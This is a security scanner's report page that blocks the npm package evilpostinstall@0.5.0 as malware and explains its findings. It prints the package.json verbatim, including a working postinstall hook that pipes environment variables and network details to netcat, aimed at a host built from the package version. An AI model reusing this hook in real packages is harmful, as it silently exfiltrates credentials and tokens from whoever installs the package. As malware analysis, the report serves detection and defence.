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Threat feed How it works Policy

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evilpostinstall@0.5.0: Malicious npm security report (Block) | LPM Firewall

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Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Environment values may include credentials or tokens, and network details can be disclosed without user action.

View on npm All versions

registry / evilpostinstall / 0.5.0

evilpostinstall@0.5.0

Assess the system running postinstall

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package automatically gathers process environment variables and network interface details, then attempts to send them through netcat. The destination is constructed from the package version.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation runs the postinstall lifecycle hook.

Impact

Environment values may include credentials or tokens, and network details can be disclosed without user action.

Mechanism

Install-time environment and host-data exfiltration through netcat.

Attack narrative

On installation, the postinstall shell command runs env and ip addr, combines their output, and pipes it to nc. This is an unconsented attempt to transmit potentially sensitive environment and network information. The host is dynamically assembled from the npm package version, so no stable endpoint is present in the source.

Rationale

The package contains a lifecycle-triggered collection-and-transmission command with no legitimate package functionality supporting it. This is concrete malicious install-hook behavior.

Evidence

package.json

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The automatic postinstall command collects the full environment and network-interface data.

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

It pipes that data to netcat for outbound transmission during installation.

Evidence against

The only shipped TypeScript source file is empty; no separate runtime payload was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 0 B of source

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

8"postinstall": "(env; ip addr) | nc \"$(echo \"$npm[redacted]\" | cut -d. -f1-2).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 2-4).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 5-7)\" 888"

High

Suspicious Lifecycle Evidence

The automatic postinstall command collects the full environment and network-interface data.

package.jsonView on unpkg · L8

evilpostinstall-192.168.1.100.tgzView file

•path = evilpostinstall-192.168.1.100.tgz kind = compressed_blob sizeBytes = 1017 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

evilpostinstall-192.168.1.100.tgzView on unpkg

•path = evilpostinstall-192.168.1.100.tgz kind = nested_archive_needs_inspection sizeBytes = 1017 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

evilpostinstall-192.168.1.100.tgzView on unpkg

Findings

1 Critical3 High1 Medium2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSemantic Analysis Limitedpackage.json

HighSuspicious Lifecycle Evidencepackage.json

MediumShips Compressed Blobevilpostinstall-192.168.1.100.tgz

LowScripts Present

LowNested Archive Needs Inspectionevilpostinstall-192.168.1.100.tgz

98%Block

Verdict confidence

IntentMalware

TypeCredential Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version0.6.0

PublishedAug 31, 2026

LicenseBSD-2-Clause

Dependencies0

Integrityverified

Package size2.10 KB

Files4

Runtime surface

package.json

Entrypointsmain → index.jsexports map

RuntimeNo engine / OS / CPU constraints

Artifact2.26 KB · 4 files1 signature(s)

Install lifecyclepostinstall

Behavioral surface

Source: cleanTrivialManifest: clean

LPM CLI

Source & flagged code

6 flagged

package.jsonView file

Lines 1-24json

1{

2 "name": "evilpostinstall",

3 "version": "0.5.0",

4 "description": "Assess the system running postinstall",

5 "main": "index.js",

6 "scripts": {

7 "test": "echo \"Error: no test specified\" && exit 1",

8 "postinstall": "(env; ip addr) | nc \"$(echo \"$npm_package_version\" | cut -d. -f1-2).$(echo \"$npm_package_version\" | cut -d. -f3- | cut -b 2-4).$(echo \"$npm_package_version\" | cut -d. -f3- | cut -b 5-7)\" 888"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L8

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

High

Suspicious Lifecycle Evidence

9 },

10 "author": "",

11 "license": "BSD-2-Clause",

12 "backstage": {

13 "role": "frontend-plugin",

14 "pluginId": "example"

15 },

16 "exports": {

17 ".": {

18 "backstage": "./src/plugin.ts"

19 },

20 "./package.json": "./package.json"

21 }

22

23}

24

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

evilpostinstall-192.168.1.100.tgzView file

•path = evilpostinstall-192.168.1.100.tgz kind = compressed_blob sizeBytes = 1017 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

evilpostinstall-192.168.1.100.tgzView on unpkg

•path = evilpostinstall-192.168.1.100.tgz kind = nested_archive_needs_inspection sizeBytes = 1017 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

evilpostinstall-192.168.1.100.tgzView on unpkg

The automatic postinstall command collects the full environment and network-interface data.

package.json

View on unpkg · L8